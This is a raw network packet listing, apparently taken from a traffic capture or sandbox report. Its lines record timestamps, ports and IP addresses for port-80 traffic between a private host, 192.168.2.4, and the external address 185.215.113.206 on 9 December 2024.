Dec 9, 2024 20:27:36.143448114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.143466949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.143491030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.144408941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.144470930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.144584894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.144639969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.145481110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.145546913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.145579100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.145627975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.146436930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.146498919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.146564960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.146611929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.147424936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.147481918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.147520065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.147568941 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.148448944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.148514032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.148529053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.148575068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.149409056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.149476051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.149527073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.149573088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.150412083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.150469065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.150482893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.150511026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.151403904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.151464939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.151575089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.151626110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.152422905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.152489901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.152574062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.152623892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.153398037 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.153466940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.153637886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.153690100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.154376030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.154432058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.154500961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.154548883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.155417919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.155483961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.155580044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.155627012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.156403065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.156461954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.156470060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.156519890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.157407999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.157474041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.157474995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.157517910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.158500910 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.158562899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.158620119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.158672094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.159373045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.159434080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.159468889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.159512043 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.160377026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.160435915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.160473108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.160527945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.161374092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.161448956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.161592960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.161647081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.162404060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.162461996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.162493944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.162540913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.163372993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.163438082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.163542032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.163592100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.164397955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.164439917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.164458990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.164483070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.165424109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.165474892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.165488005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.165514946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.166382074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.166446924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.166479111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.166522980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.167385101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.167448997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.167530060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.167578936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.168350935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.168412924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.168461084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.168508053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.169341087 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.169404030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.169442892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.169490099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.170365095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.170425892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.170483112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.170579910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.171392918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.171480894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.171509027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.171552896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.172365904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.172429085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.172547102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.172595024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.173383951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.173470020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.173540115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.173589945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.174412966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.174479008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.174509048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.174559116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.175399065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.175458908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.175474882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.175515890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.176383018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.176448107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.176480055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.176526070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.177360058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.177414894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.177458048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.177504063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.178482056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.178540945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.178554058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.178594112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.179464102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.179533005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.179698944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.179748058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.180422068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.180473089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.180516958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.180560112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.181335926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.181392908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.181437969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.181489944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.182454109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.182467937 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.182518005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.322774887 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.322828054 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.322869062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.322897911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.323132038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.323179007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.323348999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.323477983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.323532104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.323543072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.324392080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.324420929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.324482918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.324503899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.325321913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.325382948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.325550079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.325601101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.325660944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.325710058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.326567888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.326621056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.326633930 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.326664925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.327459097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.327512026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.327543974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.327606916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.328547001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.328596115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.328752995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.328800917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.329471111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.329514980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.329607964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.329652071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.330532074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.330581903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.330590963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.330638885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.331584930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.331643105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.331675053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.331715107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.332592964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.332638979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.332674980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.332809925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.333540916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.333606005 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.333668947 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.333723068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.334425926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.334479094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.334543943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.334585905 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.335467100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.335535049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.335560083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.335601091 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.336488008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.336550951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.336730957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.336779118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.337438107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.337483883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.337568998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.337615013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.338455915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.338519096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.338579893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.338809013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.339732885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.339781046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.339796066 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.339835882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.340851068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.340904951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.340998888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.341042995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.341656923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.341679096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.341703892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.341721058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.342430115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.342478991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.342581987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.342628002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.343460083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.343539000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.343545914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.343589067 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.344484091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.344532967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.344597101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.344638109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.345438004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.345498085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.345520973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.345561981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.346498013 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.346518040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.346548080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.346563101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.347421885 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.347475052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.347537041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.347634077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.348400116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.348448992 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.348527908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.348576069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.349407911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.349455118 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.349601030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.349644899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.350476027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.350522041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.350538969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.350579023 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.351402998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.351450920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.351528883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.351576090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.352407932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.352457047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.352503061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.352550983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.353434086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.353498936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.353511095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.353552103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.354393959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.354456902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.354486942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.354528904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.355396032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.355447054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.355515003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.355556965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.356410980 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.356460094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.356631041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.356677055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.357402086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.357459068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.357522011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.357569933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.358381987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.358432055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.358509064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.358555079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.359391928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.359442949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.359518051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.359563112 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.360456944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.360516071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.360591888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.360815048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.361390114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.361440897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.361541033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.361588001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.362382889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.362438917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.362477064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.362529039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.363398075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.363449097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.363464117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.363846064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.364381075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.364393950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.364429951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.365365982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.365415096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.365473986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.365518093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.366368055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:36.366414070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:36.366472960 CET	80	49740	185.215.113.206	192.168.2.4
